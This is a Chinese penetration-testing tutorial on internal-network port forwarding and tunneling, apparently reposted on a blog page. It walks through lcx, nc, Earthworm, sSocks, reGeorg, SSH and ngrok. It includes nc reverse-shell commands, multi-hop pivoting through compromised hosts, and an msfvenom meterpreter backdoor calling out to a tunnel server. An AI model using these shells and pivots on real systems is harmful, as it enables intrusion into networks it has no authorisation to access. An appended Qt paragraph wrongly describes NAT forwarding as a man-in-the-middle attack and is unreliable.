内网端口转发及穿透

最近尝试了一些内网端口的转发和内网穿透,现在一起总结一下。

0x01 正向和反向代理

正向代理中,proxy 和 client 同属一个 LAN,对 server 透明; 反向代理中,proxy 和 server 同属一个 LAN,对 client 透明。 实际上 proxy 在两种代理中做的事都是代为收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后者叫做反向代理。

正向代理 (Forward Proxy)

 
  1. Lhost--》proxy--》Rhost

Lhost 为了访问到 Rhost,向 proxy 发送了一个请求并且指定目标是 Rhost,然后 proxy 向 Rhost 转交请求并将获得的内容返回给 Lhost,简单来说正向代理就是 proxy 代替了我们去访问 Rhost。

反向代理(reverse proxy)

 
  1. Lhost<--->proxy<--->firewall<--->Rhost

和正向代理相反(废话),Lhost 只向 proxy 发送普通的请求,具体让他转到哪里,proxy 自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许 proxy 数据进出的时候可以有效的进行穿透

简单区分

正向代理代理的是客户端,反向代理代理的是服务端,正向代理是我们自己 (Lhost) 戴套 (proxy) 插进去,反向代理是她 (Rhost) 主动通过上位 (proxy) 坐上来(Lhost)。

0x02 lcx 转发

内网 IP:192.168.153.138
公网 ip:192.168.153.140
由于是本地实验,我这里将 138 的防火墙打开,当作内网环境,140 防火墙关闭,充当公网 ip,所以正常情况下 138 能访问 140,而 140 不能直接访问 138。这是两台机器互相 ping 的结果。

1. 内网机器上执行:lcx.exe –slave 公网 IP + 端口 内网 IP + 端口

 
  1. lcx.exe –slave 192.168.153.140 4444 192.168.153.138 3389

将内网 (192.168.153.138) 的 3389 端口转发到公网 (192.168.153.138) 的 4444 端口
2. 公网 (192.168.153.138) 执行:lcx -listen 4444 5555

监听公网 4444 端口请求,并将 4444 的请求传送给 5555 端口。
此时已经把内网的 3389 端口转发到了公网的 5555 端口。可以通过 127.0.0.1:5555 连接到内网的远程桌面。

0x03 nc 反弹

正向连接

在内网执行

 
  1. nc -l -p 5555 -t -e cmd.exe

-t是通过 telne 模式执行 cmd.exe 程序,可以省略。
在公网执行

 
  1. nc -nvv 192.168.153.138 5555

反向连接

在公网监听nc -lp 5555

在内网机器反弹nc -t -e cmd 192.168.153.140 5555

0x04 socks 代理工具

常见的 socks 代理工具介绍如下
1.Earthworm 工具网址:http://rootkiter.com/EarthWorm

EW 是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以 “正向”、“反向”、“多级级联” 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内, 强烈推荐使用。

目前已经有了最新版 Termite,工具网址:http://rootkiter.com/Termite/

2.reGeorg 工具网址:https://github.com/NoneNotNull/reGeorg

reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。

3.sSocks 工具网址:http://sourceforge.net/projects/ssocks/

sSocks 是一个 socks 代理工具套装,可用来开启 socks 代理服务,支持 socks5 验证,支持 IPV6 和 UDP,并提供反向 socks 代理服务,即将远程计算机作为 socks 代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为 0.0.14。

4.SocksCap64 工具网址:http://www.sockscap64.com (需翻墙)

SocksCap64 是一款在 windows 下相当好使的全局代理软件。SocksCap64 可以使 Windows 应用程序通过 SOCKS 代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持 SOCKS 代理的应用程序通过 SocksCap64 之后都可以完美的实现代理访问。

5.proxychains 工具网址:http://proxychains.sourceforge.net/

Proxychains 是一款在 LINUX 下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 類型的代理服务器,支持 proxy chain,即可配置多个代理,同一個 proxy chain 可使用不同类型的代理服务器

0x04.0 ssocks

linux 版
安装

 
  1. wget https://phoenixnap.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz
  2. tar -zxf ssocks-0.0.14.tar.gz
  3. cd ssocks-0.0.14
  4. ./configure && make
  5. cd src

先在本地机器上执行, 一般都是你自己的 vps:

 
  1. ./rcsocks -l 1080 -p 1234 -v

目标机器上执行, 实际渗透情况中加上 -b 后台运行

 
  1. ./rssocks -s 192.168.1.100(vps的ip):1234 -v

然后通过本地各种 socks 代理工具配置代理即可, socks5 192.168.1.100 1080

win 版本同理

0x04.1 reGeorg+Proxychains 代理

上传 reGeorg 的 tunnel.jsp 到服务器。访问链接,并转发到本地端口。

 
  1. python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp

使用设置 proxychains 的代理端口,进行访问,一般配合 nmap 和 metasploit 进行后续内网渗透。ps:proxychains 不支持 udp 和 icmp 协议,所以使用 nmap 要加上-sT -Pn即使用 tcp 协议且不使用 icmp 协议。

0x04.2 ew 穿透

该工具借用了 ssocks 和 lcx.exe 的操作逻辑,并进行更多的功能强化。

说明

 
  1. 目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
  2.  
  3. ssocksd rcsocks rssocks
  4. lcx_slave lcx_tran lcx_listen
  5.  
  6. 其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。
  7.  
  8. 其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
  9.  
  10. lcx 类别管道:
  11.  
  12. lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
  13. lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
  14. lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
  15.  
  16. 通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
  17.  
  18. 下面是一个三级跳的本地测试例子。。。
  19. ./ew -s rcsocks -l 1080 -e 8888
  20. ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
  21. ./ew -s lcx_listen -l 9999 -e 7777
  22. ./ew -s rssocks -d 127.0.0.1 -e 7777
  23.  
  24. 数据流向为 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

0x04.2.1 正向 SOCKS5 服务器

当目标网络边界存在公网 IP 且可任意开监听端口

 
  1. ew_for_Win.exe -s ssocksd -l 8888

上述命令是在该机器(192.168.153.140)开启一个 8888 的正向连接端口。然后其它主机可通过设置代理为 192.168.153.140:8888 添加这个代理。这里使用的是 proxychains

0x04.2.2 反弹 SOCKS5 服务器

当目标网络边界不存在公网 IP,通过反弹方式创建 socks 代理。
先在一台具有公网 ip 的主机 A 上运行以下命令

 
  1. ./ew_for_linux64 -s rcsocks -l 1080 -e 8888

意思是在我们公网 VPS 上添加一个转接隧道,把 1080 端口收到的代理请求转交给 8888 端口

在目标主机 B 上启动 SOCKS5 服务 并反弹到公网主机的 8888 端口

 
  1. ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888

本地主机(192.168.153.129)然后通过添加公网 192.168.153.129:1080 这个代理, 来访问内网机器(192.168.153.129)
当然如果本地主机如果是公网 ip,就可以把在公网执行的步骤放在本地执行即可。

0x04.2.3 二级网络环境(一)

假设我们获得了右侧 A 主机和 B 主机的控制权限,A 主机配有 2 块网卡,一块 10.129.72.168 连通外网,一块 192.168.153.140 只能连接内网 B 主机,无法访问内网其它资源。B 主机可以访问内网资源,但无法访问外网。

先上传 ew 到 B 主机,利用 ssocksd 方式启动 8888 端口的 SOCKS 代理,命令如下

 
  1. ew_for_Win.exe -s ssocksd -l 8888

然后在 A 主机执行

 
  1. ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888

含义是将 1080 端口收到的代理请求转交给 B 主机(192.168.153.138)的 8888 端口
然后 My pc 就可以通过 A 的外网代理 10.129.72.168:1080 访问 B。

0x04.2.4 二级网络环境(二)

假设我们获得了右侧 A 主机和 B 主机的控制权限,A 主机没有公网 IP,也无法访问内网资源。B 主机可以访问内网资源,但无法访问外网。

这次操作有四步。

  1. 在公网 vps(45.xxx.xxx.72)添加转接隧道,将 10800 端口收到的代理请求转交给 8888 端口

    ./ew_for_linux64 -s lcx_listen -l 10800 -e 8888

2.B(192.168.153.138)主机正向开启 8888 端口

 
  1. ew_for_Win.exe -s ssocksd -l 9999

3.A 主机利用 lcx_slave 方式,将公网 VPS 的 888 端口和 B 主机的 999 端口连接起来

 
  1. ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f 192.168.153.138 -g 9999

现在 my pc 可通过访问 45.xxx.xxx.72:10800 来使用 192.168.153.138 主机提供的 socks5 代理,代理成功,vps 会有 rssocks cmd_socket OK! 提示

0x05 ssh 隧道代理转发

ssh 有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。

 
  1. 本地访问127.0.0.1:port1就是host:port2(用的更多)
  2. ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
  3.  
  4. 访问host:port2就是访问127.0.0.1:port1
  5. ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
  6.  
  7. 可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
  8. ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,监听本地port
  9.  
  10. 可以将dmz_host的hostport端口转发到remote_ip的port端口
  11. ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类
  12.  
  13. socket代理:
  14. ssh -qTfnN -D port remotehost
  15.  
  16. 参数详解:
  17. -q Quiet mode. 安静模式
  18. -T Disable pseudo-tty allocation. 不占用 shell 了
  19. -f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
  20. -N Do not execute a remote command. 不执行远程命令,端口转发就用它了
  21. -L port:host:hostport
  22. 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
  23. -R port:host:hostport
  24. 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
  25. -D port
  26. 指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS协议, 将充当SOCKS服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

0x05.1 ssh 本地转发

远程管理服务器上的 mysql,mysql 不能直接 root 远程登陆。这时候就可以通过本地转发,通过 ssh 将服务器的 3306 端口转发到本地 1234 端口

 
  1. ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121

0x05.2 ssh 远程转发

内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口。

 
  1. ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142

现在在 192.168.153.142 访问 127.0.0.1:81 就是访问内网的服务器的 80 端口。

0x05.2 ssh 动态转发 socks 代理

把远程主机设置成代理,来代理访问不能访问的资源。在地机器上分配了一个监听端口, 一旦这个端口上有了连接, 该连接就经过 ssh 隧道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接。

 
  1. ssh -qTfnN -D 1080 root@45.32.31.121

0x06 内网穿透平台

例如 https://www.ngrok.cc/、https://natapp.cn / 等
以 ngrok 为例,注册并开通隧道

下载对应的客户端,下载地址为:https://www.ngrok.cc/#down-client 。
运行

生成 backdoor。监听的 IP 为 server.ngrok.cc 的 ip,端口为开通隧道时填写的远程端口

 
  1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56 LPORT=52524 -f exe > shell.exe

kali 上执行

0x07 参考

  1. SSH 隧道与端口转发及内网穿透
  2. SSH 的端口转发
  3. 内网渗透随想
  4. 从零开始内网渗透学习
  5. 内网渗透中转发工具总结
  6. MS17-010 漏洞检测与内网穿透技术的应用
  7. 内网漫游之 SOCKS 代理大结局
  8. 正向代理和反向代理的区别

转自: http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html

  • 9
    点赞
  • 66
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
Qt内网穿透端口转发是一种将内网中的局域网设备通过穿透技术映射到公网上,实现公网访问的方法。Qt是一种跨平台的C++应用程序开发框架,可以用于编写各种类型的应用程序,包括网络通讯相关的应用。 内网穿透端口转发的实现原理是通过在 NAT 中间人攻击方式,将公网的请求转发内网中指定设备的指定端口上,从而实现对内网设备的访问。Qt 提供了一些网络编程接口和类,可以用于实现内网穿透端口转发功能。 在 Qt 中实现内网穿透端口转发,可以使用 Qt 的网络编程库进行开发。首先需要创建一个 TCP 服务端,监听公网的请求。当收到请求后,根据请求的目标设备和目标端口,在内网中找到对应的设备,并将请求转发到该设备的指定端口上。 具体步骤如下: 1. 创建一个 QTcpServer 对象,调用其 listen 方法,监听指定的公网端口。 2. 当收到公网请求时,QTcpServer 会触发一个新连接的信号。 3. 在新连接的槽函数中,获取请求的目标设备和目标端口。 4. 在内网中找到对应的设备和端口,创建一个 QTcpSocket 对象,连接到该设备的指定端口上。 5. 将公网请求的数据通过 QTcpSocket 的 write 方法发送到内网设备。 6. 同时监听 QTcpSocket 的 readyRead 信号,当内网设备返回数据时,通过 QTcpServer 的 write 方法将数据返回给公网。 通过以上步骤,就可以实现 Qt 内网穿透端口转发的功能。需要注意的是,为了确保内网设备的安全性,应当对公网请求进行必要的身份验证和安全控制。同时,在代码实现中,还需要处理异常情况和错误处理,确保端口转发的稳定性和可靠性。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值